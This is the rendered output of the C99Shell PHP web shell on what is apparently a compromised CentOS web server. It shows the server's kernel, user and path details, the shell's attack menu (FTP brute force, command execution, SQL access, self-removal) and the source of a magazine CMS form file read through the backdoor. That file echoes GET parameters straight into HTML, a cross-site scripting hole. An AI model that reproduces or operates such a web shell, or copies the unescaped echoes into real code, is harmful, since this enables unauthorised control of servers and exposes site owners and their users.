!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/view/   drwxr-xr-x
Free 9.18 GB of 93.48 GB (9.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     formRevistaPagina.php (9.7 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
/* * ***************************************************************************************************
 *                                                                                                    *
 *                              Arquivo de Controle Geral                                             *
 *                            Desenvolvido por Agência Studio iMAXIS                                  *
 *                                                                                                    *
 * *************************************************************************************************** */

if (!class_exists('Data'))
    require_once(
APP_PATH "/util/Data.php");
if (!
class_exists('Util'))
    require_once(
APP_PATH "/util/Util.php");
$data = new Data();
$util = new Util();
$revistaCtrl = new GenericCtrl("Revista");

if (
$this->controlClass == "GenericCtrl") {
    
$control = new GenericCtrl($this->getArea());
} else {
    
$control = new $this->controlClass;
}
if (
$_GET['id'] != "") {
    
$pagina $control->getObject($_GET['id']);
} else {
    
$pagina = new RevistaPagina();
}

$revistas $revistaCtrl->getAllObjects(falsefalsefalse"id DESC");
if(!empty(
$_GET['revId'])){
    
$revista $revistaCtrl->getObject($_GET['revId']);
}
?>
<script type="text/javascript">
    function setFiltros(value){
        url = "../app/cms/getFiltrosFolhaFrequencia.php?empId="+value;
        obj = document.getElementById("filtros");
        req = conectaAjax();
        req.open("GET", url, true);
        if(value != "" && value != null){
            req.onreadystatechange = function(){
                if(req.readyState == 4){
                    if(req.status == 200){
                        obj.innerHTML = req.responseText;
                    }
                }
            }
        }
        req.send(null);
    }

    function filtrar(){
        var dptId = "";
        var nveId= "";
        var empId = document.getElementById("empId").value;
        if(document.getElementById("dptId") != null){
            dptId = document.getElementById("dptId").value;
        }
        if(document.getElementById("nveId") != null){
            nveId = document.getElementById("nveId").value;
        }
        var ffrId = document.getElementById("id").value;
        if(empId != ""){
            url = "../app/cms/getEstagiariosFolhaFrequencia.php?empId="+empId+"&dptId="+dptId+"&nveId="+nveId+"&ffrId="+ffrId;
            obj = document.getElementById("alunos");
            obj.innerHTML = "<img src='img/loading.gif' style='padding:25px'> <br/>Carregando, por favor aguarde...";
            req = conectaAjax();
            req.open("GET", url, true);
            req.onreadystatechange = function(){
                if(req.readyState == 4){
                    if(req.status == 200){
                        obj.innerHTML = req.responseText;
                    }
                }
            }
            req.send(null);
        }
    }

    function setAluno(checked, id){
        if(checked){
            document.getElementById("transporte_"+id).disabled = false;
            document.getElementById("bolsa_"+id).disabled = false;
            document.getElementById("horas_"+id).disabled = false;
            document.getElementById("gratificacao_"+id).disabled = false;
        }else{
            document.getElementById("transporte_"+id).disabled = true;
            document.getElementById("bolsa_"+id).disabled = true;
            document.getElementById("horas_"+id).disabled = true;
            document.getElementById("gratificacao_"+id).disabled = true;
        }
    }

</script>
<div class="lt" style="padding-bottom:0px!important;">
    <div class="lt_topo">
        <div class="lt_menu_topo form_top">
            <h1>Revista Arpen</h1>
            <ul>
                Formulário de inclusão/edição de páginas.
            
                <div class="clear"></div>
            </ul>
            <div class="clear"></div>
        </div>
    </div>

    <div class="stage_formulario">
        <form action="frameRevistaPaginas.php?revId=<?=  $_GET['revId'?>&action=Form" target="frame_paginas" enctype="multipart/form-data" method="post" name="formreg" id="formreg">
            <input type="hidden" name="id" id="id" value="<?=  $_GET['id'?>" />
            <input type="hidden" name="revId" id="id" value="<?=  $_GET['revId'?>" />
            <input type="hidden" name="tipoSubmit" value="" />

            <div class="box_forms">
                <div class="title_forms">
                    <span class="sptl">    <? if(!empty($_GET['revId'])){ 
                     echo 
"Revista: <strong>".$revista['titulo']."</strong>, <strong>".$data->getMonth($revista['mesEdicao'])."</strong> de <strong>".$revista['anoEdicao']."</strong><br/>";
                 }
?>
                 Informe a sequência da página e a imagem e clique em confirmar.
                </span>
                    <br/><br/>
                    <a title="Listar Registros" href="?lc=<?=  $this->getArea() ?>&md=Lista<?=  $this->getParameters($_GET?>" class="bt_azul">Retornar a Lista</a>
                </div>

                <!-- INICIO FORM -->

                <div class="inputs_form">
                    <div style="float:left">  
                        <div class="sptl_fieldname">
                            <strong>Página:</strong>
                        </div>
                        <div class="input_titulo" style="border-bottom: #ffffff">
                            <input type="text" name="nroPagina" id="nroPagina" class="fields_form_medium" style="width: 130px; float:left" onkeyup="number(this);"/>
                            <!-- <select name="nroPagina" id="nroPagina" class="fields_form_select" style="width: 150px; float:left">
                                   <option value="" selected>Selecione</option> 
                                   <option value="1" >1</option>
                                   <option value="2">2</option>
                                   <option value="3">3</option>
                                   <option value="4">4</option>
                                   <option value="5">5</option>
                                   <option value="6">6</option>
                                   <option value="7">7</option>
                                   <option value="8">8</option>
                                   <option value="9">9</option>
                                   <option value="10">10</option>
                                   <option value="11">11</option>
                                   <option value="12">12</option>
                                   <option value="13">13</option>
                                   <option value="14">14</option>
                                   <option value="15">15</option>
                                   <option value="16">16</option>
                                   <option value="17">17</option>
                                   <option value="18">18</option>
                                   <option value="19">19</option>
                                   <option value="20">20</option>
                                   <option value="21">21</option>
                                   <option value="22">22</option>
                                   <option value="23">23</option>
                                   <option value="24">24</option>
                                   <option value="25">25</option>
                                   <option value="26">26</option>
                                   <option value="27">27</option>
                                   <option value="28">28</option>
                                   <option value="29">29</option>
                                   <option value="30">30</option>
                                   <option value="23">23</option>
                                   <option value="24">24</option>
                                   <option value="25">25</option>
                                   <option value="26">26</option>
                                   <option value="27">27</option>
                                   <option value="28">28</option>
                                   <option value="29">29</option>
                                   <option value="30">30</option>
                               </select>  
                            -->
                            <div class="clear"></div>
                        </div>
                     </div>     
                   
                    <div style="float:left">  
                        <div class="sptl_fieldname">
                            Imagem:
                        </div>
                        <div class="input_titulo" style="border-bottom: #ffffff">
                               <input name="imagem" id="imagem" type="file" class="fields_form_medium" style="width: 230px; float:left"/>
                            <div class="clear"></div>
                        </div>
                    </div>  
                    <div class="clear">
                        <p class="left"><input name="Submit" type="Submit" class="bt_input" value="Confirmar"/></p>
                    </div>
                </div>
                </div>
               <iframe src="frameRevistaPaginas.php?revId=<?=  $_GET['revId'?>" name="frame_paginas" scrolling="auto" width="100%" height="300px"> </iframe> 
            </div>
        </form>
    </div>
    
    <div class="clear"></div>
</div>
<span class="stcl"></span> <span class="stcr"></span>
<div class="clear"></div>
<script type="text/javascript" language="javascript">
    filtrar();
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0034 ]--